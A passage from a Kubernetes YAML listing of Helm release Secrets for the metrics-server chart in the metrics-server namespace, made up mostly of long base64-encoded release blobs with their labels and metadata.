ZHdnFMOVR5S2EwKzNyemp3ZHZ4aURHM1pWRnpndEVTajQwZm1FODVER2dUODIvQ0JTUjEzdXNydkNFdUtQZmozYy9JclgxOW5zelg1TnkvNDhudmtITS85SXQ0WnU0dDQ2QnJ1WEh2Ky92TDUwM1JkbW00YktFb3AxWE1pUFNWc1N5QldyYVFPdE9LVGR6Um5Gc09MNEdtdU1qTDhjZlNKMnRJY3g0VkYwcmJkbEczR1Y5cUpWakdsaGdsUC9WNDJncnQzMGwvK1JtNXRjZTRVT1RRUlZZZjMwT3V6UURkZlNidTdaV3hyMnluaW5HcXQrQjcxMEd2ajMzOWtiaFF0RUpLYWYzdnBrTGJSMTJPYWVBL1U5bmdvRDJyWEcrenR4OWorcjYvOHB2VWZUMnNQejg4YlkvNzVyaGdTV0p3Vlo3MU03aEF4bmpmMTIrSWNhUHRaZVh2cmt0YzVCRyt1b05OTlRNNDljb2FQUmQ0ZWw2VEthYnhjdjNSSWMrZ0xmVHhlMnowUzdKamxzY0FBMEliZGlINXZrRDkrU2Y1ZnJ5QlU5clhJSUhOUWZ2UjYyYktuSTNrUGhQTDBqYUNHcjcyZnVkSnU0d0wrVDR0VTZQSnM2K28xK1RSRm1vOVpheE85ekhNdEYzOHU3M2g2K21DOUhQMWlCSVhpTXlJZlBGK0xxclg0SUtiMStuSzg2bkhMSy9XN0F5YnZFVnNaL2x1WDNodEhQU3ZnUXNsUFRGZVF4Y2tGa09OeUludnRPRk5jS0hIUnNhdlF4Y1VvTEZyRk9CWDBZVVNqOTVwd3pmaXd2TFh3QVdvNGJUeWpXQnFLN3FtUms5aGMyWmRLRzB4YW80ZEdLaUpRZTFNSFYrVzJtc2dxYnZER245ODA5UzJzU3dOY0dsanl1M1hyWGRjbUhVM3Z3SXUwUGIzSW8rUmo5ZVhiWkFWWFdCTWpjVkRnWStneHlka2IwMWR3YlMxZlg4VUZ6RXRheWh0aXRvc0U0d2tOUVVTclJGYnkrbVUzMjNWZFZ6WWRUZWorKytQRHkvaGdpVzVHZENWRUhMYjViTjJ4MTZ2ZHZZSDJPcGJHR2d0WnlRdzI5RjlOeTF3WlFsMDJrWWR3MkFjME5wMlpYNkVQbklNbWpjNXdGWnpFRm45Q1lZZXJRR1cyN0wxcFFNa2xUTTFtaStaOTZDUjFCYVMxQVZ0V3k4TjJyTEUwdDU5bHVTNjBPTVprOUlkZHcybDM3ZnVBL1ZUL3RnY3Vsck54VGVxOWFsdFk5aEVlYXl6UGdtQjFtYnkybTFrMzhTRndkR1lGd1ptdkxQdms2UTQ3M2Jvbis2UHFQeVVNNjJUMHI1aDNtdHlyWit2KzZyVHVEa1dFNzVnNmNwVHZjWWpyTjdYY3RTOHBoL3RzWWt5dnBiUFhKOUxWVys4ckhXWHZ1UENkOGNGd2pjaVdvUFJGK09aSkhwQTIxNndRWjdHdnNMaS9seUhvUElndGdSK0RjdDQrS28yUEx1R1BtWmc4MTFHK05YaUYycTRVUEtOS2REeTJBUlRhMStJbHlleVkyZE1lRGdnL0VCWGQzcFc4aDFhZXlDdjRVN3I0cjdya3I5NEhQUTVYTWhleG9GbmNlSGcrWGM1NExmR2hRZ0dFOExYWFNoZDQ0ODR3WVdkMFJ5NFNKbzdJTWg5VmRCLzcxSDRHOWlneitGQ3NaZnEzTlJZREp2cUM3RXNsM0hCa25BQ3RBNzdib1ArV2xzVC95TmpYMnQ2L2xmV2ZmMGFuL1VWdGIxb1RNLzl0dFovMzRvc3lXVU5yNzJBSEhQVWM0YmRtWnExTzlmTFYyNVNXMllFZmZSLy8zMTgxcjNOU0dMaXl2OHpDNTNSb3J1WmFVdm5TV2UvRmhldzNaOWtoZ3JXc0s4bVJMYTN0RFp6ZmZ6cnFSNWgrWjNZMGxnc1M4VllHZS9EcHZ4Uy90eDd2TnZQbHhjT2NVRlh2am1mc3NTRkF4eDRyd3Y5TytCQ0Nya0pubk5xRERTRmdjM0IxOVJ4V3dOcHZyY3I1TG4xTlBmZTBCVkN1OU4zdi9WdllWOWdJTGVsdmYxZVh4ZTg4azJ0b2FSbVZhN01PeTc4cm5UQkJUNklvSThaVy92cW5Ic2YrRGpOWStMZjhlQzNwZ3ROZmcybFRtQ3J5Z2I1cWd0NlJKNVhHT1RudlIxZmptdWl2YmZtMVRoVGZvYjZBMnhvWTJmTWRWSmF5MC9EcWZWZW4rdFhwd3RMb1BNeGJPSUVhRzFtZk5EclUzbXpmRW9ncVJzb2RkcnZOT0xYOWtjWW5JdEJYNDJCUG5pOHZuZHhEUmY2eXNLVTFLV2xiWEdSRTdjRGVpMm5rc2F0Yk5jMnJkWHkza2ZpTmJqd2cvdE5MV0dnM0VPdTdadWE5WlcycG4wZE55QVIyVkZaUXg5RW9GbktreTBITnZPNllBZDY1anVPL0hyeWdzNXJrTnV5VUZPL0VoY0syOFMwaWk5SWFGOXNHcnVDVXlwUDdPMk9HT3I4R3ZsaVprOTUzeVMwNU4xLytZemRjVURneGRqelNZUTgrWlBkWkR2Rzk4U0YvaWlsOVZTK1ZvL0lldzJ1ODNxT3JWci9FRjQwcVk5Q0xtcjc4NmMyUjc5YjRJaUNvV1FraU1NQjlBa09rZDhuWmU5Q2pMS05ZMGd1aGhMckRBWGVNVGcxc3dRMk1iUzJDemcxTXdTZTZDOE8wR2w5OHdqNjFxem9XZjdieGt0Ukh1R2ZzYW43M3hjWHF0ejFKYzE5ajZEL0dwM3lzQWQxTFE5K0NUbldOYlZXS292cURtaTVERUhqWVgwY1dQb0F5NkxDbGowTHg5cVdrWHR0RjJycTdxQXZLWUdCVlBZNG5Uc1c1MkxvOFN6aWFLOWd4NUsydTZxK2tNU0hRTnNtSlc2YzRrenJOOE9GcXA5TUNxWE93dEEyM3ZlbUN4Um12YUszc3k2bmhqWlpUclgyWDRVdDhwaytkVlNQWUMycGt4RFpvT3cvVFo0di9GQUxvQStZb2JZZjI5UStyODFpN0tHbXVFTU5aSkJqSEtPdXczaUgvWStyV0tqcGYwNU44Wi9RdC9Zc0x0Um83UUExRmZaeWpRNWE5M1ZIYzJVOEh0c1MzbGw1Yis5akhIQk1YZGxabXBxOXl3Sy9iTHpqMWJoZ0Vwb3NuZVVSRWZUcmZXblZscWtyUlY5cXd2Zkh0SWFub1ZtRWIwVEZlTy83ZlEyUFdPSWRhcW9ZZldmZDhyVzRBTS8ycDZPK0tkcHo3aDBYdm92czJCNXEzeDhmbnNXRmZ1VnJlcFY5SWUrenBlNXlmWExDbGo0dldYQ2pvVDlQWldrYkFWK2xPVllQVTlxVEtKY0pEdVhEZDF2RHo3RTFuY1VGUkd2NldnTFF3QnI1TCtUYzk5eTFsZkV4NUFnZEdHQ2lJNWE5aG95bW1wR3hMR25ibHFVY3Y0R1F5eEttQm9pc3lRRDdvZXZySTZJUGJreDkwRDVEUzNhbTFHR2hOSGJ5ZWFHeVIvcUIzdm52RndQRGY1YWxydmM5ZE1oejd4S0NqV1AwSnpISzJuUi9aaFg4Mis3VlBhNzdHMmRNOUFaSmJWbjlnU3RMWi93VHVVNXhmNEFEQnpyQk94MDRqd3Y4UDU2MG40NEw4ZFc5NzA5dzRhRGU0emtlNE96ckFNM2Y5L3pYd3dWcW94bjZsTzcyTEgyUTYvbkxpV3UvRlBkR2NJSGFkSGpPMExZUmtEQmpUL2xsTllaSGM2K1hobzUzNy92N2FoNnhVeGJxVDhLRjdScHlDWXVrVjR6VDN6Z3F0VEc3R0VxTUE2WE8ybXlxRzFrQ0xQVHpQalE1bnhoZ2FvdW05U0FIUk41Y0lGOTFLNzlGUCs5dENadnFyaHpMMU5vN1N4SmorSjlMRjRvODFSK0tDM3M3RVZ2dVZUdUdYR2RsNmZ3YjRRS2Z3V2JSeDlUakhVUG5vNzA5c2IwdzVnTVcrcE1ZYU84MDRSZkVoZlNxZUliK3hxRzk4V3M2NHQ0K2dadzVwNUx6eitUNFFHMlUxRyt0OXJhejkvMytoZlFJSjF6SUdTOGIrbUFKdERiZHV6UDl1eCtFSmRIMXFyNVNORWZqeEg4bTRSM1o2OXpHMUhNUXA4YkFvemtzS2RERzUzeE1rY0U1dFA4MzRJaXVPSEQzZGdscXh5YjhJYlA2Nm1ibzhYT3FvL2JFOFZRdjgvWlY1NkJlTkgzL0FBT080TFJLZTRsYkhHWk1nWGVHZ2JJQjJpZ2xQQWRvQ290OGRXWnllRVB3VWZYVnpOUkEyeEQyTVRoR2Y1SlptdXJRK3RWOTJuTjlZV2d0c2laSy81QS8veVE0a1dOSVBLM0xLL2ppeGxRQlJvRVNRYTcxU1paRW9oL25jK21YY2xONzlkZ2ZVWCtNdGVnOVVEdnVmWGpvYnhsSENkQW5McEJFeHBpRkQ3TEEwL1A0NlBIY1NCdGdTK3B0aDN2ZlpWVUxWc2pYOTBrZ2VuWFdTc24vejYzMTBjdnBqU3lNbkM4Q2s4aDlCWU1wSHdKOWdNbXpWVjEvT29ldUkwdlVudmpwM0w1WDcvUjV4K2lHRDZyMDJURWxNUU9TbXA2N2Z5amtmZWxOaWZaMVoweUowb2ZDejkzZTBiZ1dUc2xNYlVENzJKZjUrY0R2eEZEcU5DbCs5UW05b243eE5NZmhrVE1yWW1Uays5NG51YmNsTWdpVmUyVEp3dENuOWpKOEJWNCtDRGp2UzEvRzNPUjRSZnNsdVlhL2JSYzZNVFowSlFLNndzaDlaUTM3YW5FdjlhbVM5YVd5YU5FWUhTaXBRZDRmbno2M1FYNW5rZmRnbXF4Zk9iZThKN2lreG5EYWVoanJvK0p2UGdCYW04YXZBMzFFN1Mwd2w5ZnpudjVGVEtGTTRLdk40NUovRzV5WXlwSVlJKzZ6VS9vSGl6ayt5N1B6dUFKeUpsb1BnaGYrcFZMN1RpZUYvYVVESkx3enRBbG5hRzJHNktDMExsZEpFNHArLzRTK21GSm5tY04xRWhyNjJESHBaK1JBdjhQSVBTdXllcDBOeW5nZitSaVQ5OXJUOEM5WmNQSFFSNm5jRXpQQWZYYkd6RGdhZXZ3QTVQQXU2dm1VOUtlVDdubVR1Z1BqcUcvcWt5K29UK0RUV1VQeWYwNGJsc2pIdmlYd1M2QlBTcHlLWlFremN0K0tvRVRyeVRTcHJpTk5zQ1dwQ3lMYm1wS1lBazdkRFQxZWhrMExGL1RQTDJpRmkveDlMR2U1ZG5xK0tENHFvYUVQR0xrUEltUEt6NEUreUF4cXUyTWVLR3dsdFdWbzdBWktjK2RCSXQ5WjE5WUdXSlpVRG1ndForSnZXVnRZeHVmaHlXUGtBN0tPT0k4SmF1T2hrNTlKS3A4ZlBUTVUrQTJVVkJkeHRKY0hZK2xkeDlZNkxQS283c2NTZkFJK2pzR1VqMDB0S1o4L1EvdXFXaXFmcnFBOXZxRnR5WjR3c0ovVExCb25Nd3R6ZkI2VHNic1BnamNpdk9sTEdmOHlXb1NGL0hsa2MzVENoeTllOTY4SFRQTTBJK1NyTkViMzBRdi9PbU9mTE91NmxQRlZFUXdVeHRDMk1UMXZ2dXJESnNFanVvL1ZiMmZwbmhQTlljYXppTmEwcGpWamFPNHc1TWF4M09kam9JbUVydTJBUG1FUnBYbHF0cS9ubnNkcnlkSTJNc3ZuZCtFRHBhRjk3RUp0ODNCd0JuTmVRT1pENiswRFZWbVpPaitmaVlvRzlFRUVndVVuV1NKaksxZ0lKakVaU3haNHh0WjV3anVPL2NFUGhzUTdaUDRtNFpNRnZzSm1IbE5VMGoxRDJ6aElFalBDZndnL1JkbkdNVFdENG9mY3Qxd1lGTHl5cWU0c3FaT1llbFRTT0E5b3JtdjVtTkRDU2o0OHBtVkFCeGg2ZkVMZ1RYQlV6a1lMdWRmWjVMeXl1M3YwZUpYQTlweGNtYytkbk1ueWZ0NkYwblp0TlVmRi9HbzZxVVRvWE0zL1ZlbW9WYTJmTXFacEowdUtDejArTkhSUVBDZG1obytaSXNadWpYd2NtQnFoRC9NVVpJVCtNYzY0cURFRUJKNHp0WjVEYzNnMWhZRkNkeTJMRTR5Q2dVdk9OWngyMTdLa01rYldlaGhPK1ptdHRSY0U1MEF3V01NcDcrWThqZXJPWlN3TnhlTkQvcExqeTFpMVp0VTYraU5uYi9QYk9GTkozSmtTdm9mTndVWVc4MTZpUTRISGxqUktCU2ZTOHhwbmh6UTU3L3RGOTJvK0UvZThiMWo0alV4T2JhTXlEc2hQc0sxMUhVTnJsekVueFhVbHM2UXV2VmVXV0JZMXlYbWFPNmcvV0ZzK1hwSzFtbHFyakYxMUxhbEhhQXVHMHQ1bkxmaG45K2xCd1BRODByTjcyTGZ5MUxlUTh4dzZMK3JYcEdQMUZGNFczSXZ4VHFZKzJRRnQ2ejlNOHowMHBBT2FsaHFjS0ZoYWV3a2xJbk1TdnEybWlKekRjVVQ0T2ExRldvdTVLdTFrZTl4L1JtNGRldndYc2c0VVdCSEJkNHEvQkEvOTl0b3FaTkxqK2J3Z3h6SndFMVh4Qzc4dS9ROGRzczV4b0taQTJoSTY5Vm5JL1VMSmNNb2t3L2xBbkRENFVlNHA0aHhQQnBNbHZoK3JFNUgrTm1WeXVWUm9wVU1ucFBwTWZwMFZaOHV4TTJiVXFkckQwblN1OEdwdm5vODNEaDhJbmo2UysvdVROcEtJUEx2SHQ0cTJlTjB6OFk3alhMYmV5K09uTVpjZXU5ZW5OemtQYS96OTRYOGJnZW5iamJ2R3BEZnNkYWU5ajc3VitOQ3d6TVJzM0RWeW1pY3VnYVF1QlNkTTZOKzVmSkZaUWswbXBqaGYwUDdTWDhkMVV1aXJpd0xYUEtCUG1rQlRVN2xYOGFxaXBoWHR3NU9DNGl4UEQyb004UHk4dDZ6dUczcmRVTXRHMjlIQ2FlbFQ5NXZyRkF5YlBBdWx6WG8wazF1UHdqS1N4VTRYYWtrRUpTVTBwWTRQOU1FVHBhSFU5OEN6MEhleG9XMFpzNC9Ia0p1SWhQZlI5V0YrRFNXOElIU255cEU0dDA2Ujc0MDkza1Vab2FmcWpwekxLblpLNEgyZ2lZeWwwNzZuZEozS0RERnZ1ODU1VXlIcjdQRWIrb3d2ZW9ZK3lFb2RaY3k1THZRdERMb2g0UUVxb25Sd1h0WU80UFArU2Z5MDdKK2taL3lYTWJPczljNzQ3R2hjZHp0Y09PbG9vVGpYejcxRGV5NGhUbkdoUk9ZN3dQbTVWM2ZENXNRRldlZWtkOU53MWtzZmhWWTJ5cGFwTExoUTN2VzQwUUpZRDVMTFdIMSs5K2g5WGdNaVEvZFZiK2dyYXpqdHJDeHRnSkhmSnZJQ09SY1JhSTdXWit3SmE5UlhZeWg4M2lvTG1YdVlMaDJkSWJvK2tXL2RDUFV0REtVdHhRdFY1NWMxM2VscFZvM0Z6Nm9hRzczTy9aVElhcG9ZRkhIejBManZrcmx2REpFSnpmNkVRZjNScDJIV0NVeDlFbHFhbkJwY0p4bHlCekcxTkVZYVpXZnFOM2lkREdoYm91OFJPREtHaHRiV0loLy9ZZHB5SHNSNE1ab1pyUkg3SnUvYVdObzJIdTU2M09QOUtIcVk4ay9qdnNJUVdjbVU4TWJpMUJpS253L29DdkwrUU43dDJzU3BIWC9NVEIvdnlZdWhENEpjRk93bXNzQWt1V2hDVkdOMkwwcE9XU0tHSHcrWjRQZ1cyYXRrWkFhbVk2KytmZnh2WUJObnlQYUpDdkRQTS9PM3QxNmNlSUV6dGRIS1R0NWdDVVFqeWFOcHFKUXdZUnpIS0xyeHk0SkxNSGdqQzRNeDh0VU4xVWJyVXVkZXVtTUtxOEdDVUNiazQ3WHNMUi9rakhlUmhHZGxGYU5IUWpHRXEwRkU3OTFMS2ZOUGNuL3pjRVlUT0xYNGRna1hQdVdDandWWHBSRm1zL0NjVlRDcFNlYm4wTWUxc2YrcjRRMDFmVHcwL3Y3WDN4OGFLQXllUEtkeDk3OE5jK1hFamJ2L2F0emVMbE5vWXp1NTlZTFlSdW5LdmsxdzNDQTMrMmJnUGRseDByaHIzTjdlL2huOC8yNm1ZYnBDOXQyTmJ5Y3JEOFczc2IxYTI2cy9FdHVQc0puWThSL2tnb2RzRTZFd0RSSUtnajhETS9KVWV4VjdZWEIzczJiL0RKWmVZTjNkVFBOYnUvbXRmd2ErblpnRVZuZC9CamMzQktySHJ5bXZ4NUdKenY2SVRXamptRDUvYzBOMjRtUHMvb0ZjYzVVYzMzM2IvTWcyUHpMNW5XWVVmU1F3V0FWMllzY2Z2ZkNQUzI4L2Q2OFh4SWtab0t2dlg1ZVErTFBCZlB6OGtmbXpjZWxPbjVJaDZ4Wm1kemQ5Ry90L0J0ZnVBc0pwbk5pclZZanRXOU54VnJaakpyWjF1N0pOeTE2ZDJaUVZOTkZITTAzY2NPWHR6TVFMZzQvTHovbHNxKzBTOGpFbkliYlA3bFdjeFludDN4M0IrZVR0L3hIN1JPNjdETk1LSnJkSmVHdGF2a2Rma3F4U3UzekhsYy9hbHBkODVhTnJ6OTdVSDEybDJNNTM1UGJHakR4cEZhWlJ1VVBrV2dHellxemlWWFpNRWJGK1h4UmE4ZjViRUZwMjhYVnRyMkQ5UnNkTzlsK3dGOWUrYmN3RXVWK0Y3RDhTdGY4akVQazV0TGk5K2JOUllkMFJLaFJiLzBjeHcxTVVxQkRnZGVNK2kyTDBhOGtmYXRkeW51ZWIwWTlFUmVnRmxoYzR0d1QxYmkwYms1TVh2Z0h0NWZOeHIyQ1hkd1hhSHM3Z1B3TnRRMnhQN0NlNndoSzlub0UwdWUwTUpUZzYvc2R3akZPNHNGRlNIby96UWcyWjhXVW9QU1BOZkQzS2ZWOGMrdyttaGQ4RHFZNm4vV3NnMWJkajArdElWVTRsOXdKaWJRbGtWMjV6WUwxajJYTllkb2hlOWpheEF6S0pXelB5YWtDMmc4UkRkSUFLM0w4R3loV0s0elVhNDd1cWVBVWV4WkdONlBLU0xMSXJHaVIvSVplaWNKWFVKRFc2QWpkSm9rcG1JamZjM2JSYXplckNLa3hDRk9LN201bndwYnlZbUN2SFRyN1FldzhlTjZQb1MvVkE5VXRzWXhzbDRlcnUrNEx5V29TejdBaUhtVytmdFZLWVVSVFhxTmw5ZGU4NzdyMEc5MVoyaEQxa3huYzM3QmtNOElsd1Bhd0Q0M1dMZk8weXk3MHZYMS9mU1BJUEgwN2x0Wk41UGRRck9ORXZCeFJYZWVaRjBjb0xWMTZTQ2RpTTQvekdQeHM1aTd3dHhNRmJ0UElJb2NmbHR0MFFMU2d4dmNCZTFWZDRlL1A4aXNpMFVFcGZGZ2FKdlUzdTZyL2QzSmdZaDVzdksyL3RZZHV4ZXpFeU1XVXVkemRQSm83dHc1dVJHWm5RdzE3aTJmSFJPRGMzMWlxTVRpN2UzblNIdzhPTGhHczlCamliaEdFaWV0Z3U1S2diYXNnNHZETU51ckVTQnVUT2k3L1BZM3QxZDhNeURIUDRZMndqRlByL0gzblcwdUkyRElUL2l2RTU3c1lwZXpIa1VFanBCcHBpbXRDNzFoNG5RL1Z3UjVLcFcvYS9GL20xdHJSWldrcE9ld3YrQm1sbU5QUE5JNDdHS3VRUUtOYVQ2bGNyRFFyWVFjVXNOM01aRk93TVdVUndSbTJvSGZzamo0eThlYTNwRTgwL0pyZWM1NHBqMFdiUnZ2cWlURTZnUVM3dVkzVDJYWnBFU1RMc2N4MmRiOVAxNW40ZGloUkFKaW1SdG5kRzFDRTg3b1pyZ2dxSW9FeFlXUkpvblRnWDZPMWVHaURKK0Q1ZmZmdzUvWHhRMnJqQXVuNmUxWkM0MFQzUmhobXJPeFZENmQ1QkNZRlczTHE0MnFiMyt2cWg4d1gyWEdwZTc1Wnh2eWhicjVRNkw0WDZtaGQ0bEdNREVyVE9TVDM2TVZNeDVKYmdkQ0hRRjhYTExIcS9GSENxZkFJVGhGck56Q1dMN3R6WnZ3SXNyTDFUQUJjWGNCWStuRTc1Y1FtaVJJT003NEN6OWdpRmtxWE9JaTgwYWlCVTVZU21DOWpsSU43S1VIZDRlMHRMTi85aWFxTzRGWEJ3bEJ3bVdCOURRZDVFa1hEeWVXK1BCNGNicmZIN0R3dmFoTVJZMUxZaktCRmNBa0pSNit4WkgzQUVlMzFmb25oUER4QzFhWGRJV2ZUNzZlK2JwbUdZZUxsUlp6VU9oSGRsS1B5UTcxOXI0WnYwRVF4TDM0Vzc1amZ3aHdHVFVwbk9iODdPcVRNNDkvTmY2SklPeUlkTzRJQVNoUlZkbkRod0pNTGpkNnhQbjQvZmdMQnFuMnZnOElUWmY0eDF3WlRRUEk5cjNTdk92bzFhRHVyRnEzZ0E0bXl6aXFkTDRpeGUzaEkvL1FrQUFQLy9KSUpiRVJDZEFRQT0=
  kind: Secret
  metadata:
    creationTimestamp: "2025-09-22T18:36:31Z"
    labels:
      modifiedAt: "1758565850"
      name: metrics-server
      owner: helm
      status: deployed
      version: "2"
    name: sh.helm.release.v1.metrics-server.v2
    namespace: metrics-server
    resourceVersion: "267917"
    uid: 4c28023d-97a6-43ed-94cf-854ffe03899a
  type: helm.sh/release.v1
- apiVersion: v1
  data:
    release: SDRzSUFBQUFBQUFDLyt6OStYUGFTcm8vanY4ckxyN3p3OHo3T280UXhpZjQxdFM5Z0kwUXhqZ0lvMjF5S2lXMVpDVFRXZ1pKZ0RnMy8vdTN1bHY3QXNKeGNqTHptVE9WR3FPbDFmMzBzN3llcGJ2L2FObUtwYmR1Vys3R3NYVGYwQVB2QTNBc0s3Qk5QMnhkdGt6N3hXbmQvdEY2TVRlZS8xWFRYZWlFdXRhNmJkRVUzZjFBOVQ3UU44L3RtOXZyM3UxMSsrcjZ1a05mOTZqZjZQK2k2RnVLYWwyMm9QS1d0elFkNmo1K0h2L3d3TVowZmRPeFc3Y3Qxdlo4QmNJTDRGZ3VlcWgxMmZKOHhRKzgxbTByK2M1bHkzWjhIVjE2TnZTTHo4bklMang5czlVM0YwQ3hMMVQ5UWdGQTl6eGR1OWlheW9YcmJQeUxUOVNGWTEvNGhuN3g0a0RvN0V4N2RYRTNXMXdnR2wyOGJCenJZbWY2aG1sZmhFNnd1UUF3OEh4OWMvdkZyaUxlQi9LeHEvVGVsYmNGVjlGTFY5QUJDdnhpby84eHVvKy9XZTdva3B0ZXFPSEZKckJ0MUJYZjBEMGREZDFTYk0yN01FbFhQZFE1ejlBaHZQMWlYMXpvZXp5VXowOTNYMmY5eC91Ly8rV3Y2MERWZ1E4dlZycC80VHFhZC9IaEF4cVE1eXBBdjBpN2QvRUJYbnhwS2E1N2hWN1kyTHF2ZTFlbTh4RTkrL2Ywc2N2eUV5YWFGQnRrbjBycDhLVjE4Y0c1ZVBVYzIxVjg0KzlmV245Y21iNXVlZitnZnIreWRGL1JGRis1UXQvNDlxWDFOelNBdUxzMXZVU2orL0RpYkhiS1JydjRTenpNaXg3Vm93ZzVDM091UUgzalc0cXRySTdOZkkvcWRkNXg3ck1mUFlNRCt0bSsvanFUbngzTnJ6djluUy8yLysrOS80dWJ2TGk0RVByY2pKMHh0eGVmSGUxaW9ZTmdZL3JoeFdjSG1pQzhNQlR2UXRWMSswSXpQVVdGdW9abVR0TmZsQUQ2RjU1cEEvM2k0dUtpMkdUeW4rbGZhTHE3MFlIaTY5cUY4dUxybTR2MUorK2lmVVYzLyt2cUl2RDBpNXIvYXB2OHEybHIrdjdpaWxkZ29Ic1hYN0lLM25ZMC9RTmhGWDN6cFhYeHBiVlJGZkNsVmRmc1ZYcmpTOHYxM0hzYmovRkw2MjlZSm9yZk9ydXZ6VHFIUDkyM2JjZFhrREh3ME9kUE5HemFGMER4ZENTeUY1NXZRbmhoNjdwMllmcFhGeWYreXpYNXJneFZvYUkrQjU3QktMNitVOEtqR3FyOWpob3FjOUVOUEdORlBuK090Y3AwK3M5UlZYK3ZIc01sd2dhT3Jkdiszek5YZjU0ZWFpTXFqWnpOaGVWczlBc0VvRFlXNWxnMGV6R0owdG0vdk5pYW51bmZmckVOMzNlOTI0OGZNM05nT2grLzJLMXZseTFnS0JzZkFiRzRyK2p2RW5SclhiWU1CMStyYmd1aEpTZllBSVNOL3BFOHN6SjlJMUN2Z0dObEh2K1lWZnFvM2FNUDU3dHcvTkYwVGs0K2kzVEIxMWdYVkQrZG1pTDg1d2VFQnZVUGx1NXZUT0MxZnI5c2JmV05SN0FqL2R0VnAzZEZsVEJsUmhKTjcwSzVzQnpiOUowTm1pWXY5SHpkdWxCczdjSTNFZnZxRzFQM0x0QUVxSXFuWDdVdVcyczkzRGtiRFZNMGZiTjFtWjJXM3k5YmxtTGF2bUxhK2dZOW1jemR5bFRzVGFDYVR1dXlwVnVLQ2JQWC9uZUZycUJodGk1YndRWm01alZEZ2JTSmI1ZEp1d2ZGTmp4VE56TE54cGVhdFpvMGtHbFU5TTFWdU1sMjFUSTNqZ2VWN1pXaGFBZkQxTGZOR284YnlyUnRLNTZ1VytzQVFpWGJhWEw1Zi8yTlludW1mNlc0N3JGMmM0MWtxYUZ2VE44M00rMXVITWYzRkZ2ek43cnUvYS9yZUw3dVhHbjZVWXBFalh6Ny9iSmxBc3c1OFZNYlpYZEZuZ3c4ZlFNYzI5ZHR2MTVHb21lUlJGb0swcThmRmMvVC9ld2pYNkd6Y2o0QXRkdFYxUzdvWE45Y3VaaXBGTmZrRTRiZTB2aUttN25TdWJyQkhLNmtkaEpwQ21Yam15OEtpTDhLVGFEYkhxSk0zMVdBb1grZ3lVdkZwK3cxY3FJK1lBdHplekZFT3VoaWdSVUkwcERCQnQ1ZUhCWGcxTjU4TkhSb2ZjQmF6UHRpeHkwdVhjL2Y2SXFGMU9HckR2eG1yV2IrSk1vUkNYNUtneThCUlhYMHY3ZXYycjByNmdNUmQxZTNOZDBHcHA0VHZvS0tTelZGKzRxK3VmcC9yY3ZXUm5jZEQ0bDBXS2xUMC9GbHBqUXowdFpsQ3ppMlprYUtKdWNWNkFSRUlaNk0vcnIxTjRHZTRkb0tmWmJ0NU0xVjV3ZjBzZnpSQmoydGcyKzUvbDVmWFgvNkFSMnUrL1o1M2M1YnBiVFRuYXZySDl2bkxQaXE2L0h2bHkwL2RESEh1aTQwQVpacnhQalFBV3NrM2l2ZDFqZUtud3V4dEQ4OTArM2JEbjE3L2R2VlRlZTZUZld1NmJhTXBNRmM2WjdmdW0xNWhrSjNiMjdWWGx2cnFKL0E5Y3UxZWdNVTdlVkYvZlNKQWoycTIrc0FvSUJyamJyVzJ2U242N1pDOS9UckxxVjlhbDkzdStwMXIwZXJRTDkrczRCUjcwRFg4OFRsbmIvWW5PMS8zSWVQTVc3N1BiNzYrN2ZMbHE5YkxsVDgvT1FtRnovT25wN3ZGMWYrM2tlc2dMRnBpMmNNeUk0R29VcTNvY1lZVUJNZlY0RG1RODNpUTVhWkdhbzVNT1hGd0pEb0dRU2RHWlNIQTFvUjdsZUE2WVhhY1BDYkh2WUQzaHA1bXNBZnB2WU1BbHVHd093ZVpIRkNLOElNUnRkY2llYm5hbWRDc2VOMmoyVjZBVHZtSEhreHNGUjY3NmtkelZVdHNPTHV1ODhzMHpWVVlibVM3Y2xXWFF3NmlzZzVpbkM5MG9WZUc1aURWM1hNSHpTR0Q1OVc3bTk2T0tCa29iMVRtUkVsTC9vbUdFKzJxc0JUQ3NPM1FVajZJSXRzSU51OHA1SjJUWFo0dlhvUnFVRHZlS3NwbkVDVjRRMUFMNE5uYStUTDRtd25DVE9JK2ppMVo3UVVkcFB2VGEzOVZxSkgzcEI4MTVYTnluRzdxcVdGc2pnN1RDMCtrSVNKSnd2ejFWUnM5NFpyZVF2TW1JNlA4ZmkybXNnZEZJR0RFVDNTN3cwSGxNSXMwN2tZOFl2bm9YRjRXQXdNWUMxdmhyYi8yM1F4Q0NXaGE4dUxVMzB4dHFEREhkQzRocFpCYWVQK3pUVHNZZm9CWnJlYW12MDF2a2ZhaEtvMVJ6UjYwRHVlenpLOEIramxTaEdrMVJUS2hqcm1ZWmEyd09xMU5XWVpxTUxJVmMwdVZLMlJxVEk4YWUvbmp6bFVPendsTDdxK0pNQWdHbmNnQ1cwSXdrSHZaZTQ2MnBqYlBabWZ0bWordGZIQVEvd3dHZUo3ditraHRaS0ZicDRXWThJUHc3VUd0YWgveXh5ZkRXSmFySGgrOHNneWt5NDduclJWcTR0NUdza1VvcDlFOTN4VkdBWHkrSEdGK0JsZFo4Y3p6T3VBTnFESzdPTHh1VExpYzdwTG9UR0FzRzgrVzcyMXpBKzJ3SjZiN0xBclNNSytMWXVQUVV5blZNYVdnVGFHTzNtQnh1T3NXSWEvanVUMDZabmlSbUo3OEhrSjU3M0owTmhvd2dSS0hjNWpHVFN1dmo4VmtIendCOENNWHVVRmtldWx4WHV5TURySWkrNFRwbUVIemVVUzhjWnFLbnhhS2Zac3E5b0RRMk5XUGRiMkF0QVpRQ25zN3BDY2c3YTNFeGZkUUtVNXVFUjlHRk1tTzA1MHdZRWQrNyt4WXc2cTRzQ1RSQTZ5dzhrT1dEMWZGamxIRm5OemFtbkMzbE9SZkM3WTFkUWM5RjRXNndkMk9JRDZHTk5rOWJ6dTNYTjhiN0s4bzlZUGpOK1dMUDVWWTNZcm1lWXBsdWx1WllZL3NFUEtWM015N3YvR0Ryc0xXZGhEU1p6QjZUbzMvdDdMb3UrcjRlQ2ZnTzRGZ0JsUnloMWw2bUhYMVJqZWo4WjIwSmdScFltUGdTUndhMkR4QjBEekIrRXcwS2JXYUMyUEowaGY5bGlUOUZXaWpTM0x4TEwzYVozMjJZbi9uaiszSjhzYzN6SFFZaGxFWTg1UWhPNkJIVTRlVlhxMG5sc2pUeEs2cjdMSW5zY1A5OTNQL1AzeWhyMkhGTXUwRFgweG9DVEJoeXh6djVJdHZzTXliVmUxZVVvV0gxZXkxUXNqK1N4K2M3WGcreXVOK2JTU3JPVktFbVZERWZhR1pPM2hkT1dzMkdHZi9CdkJyYllZdkVxSTEra1JKZEdybU9jcFNlU1EzR3hsYzJEcWkwR29DZDFBRWJvMk85UUtmRGs0YU5iamFycG9CMW4rTzZXNzJXRzc4MzM4QlI2R1pu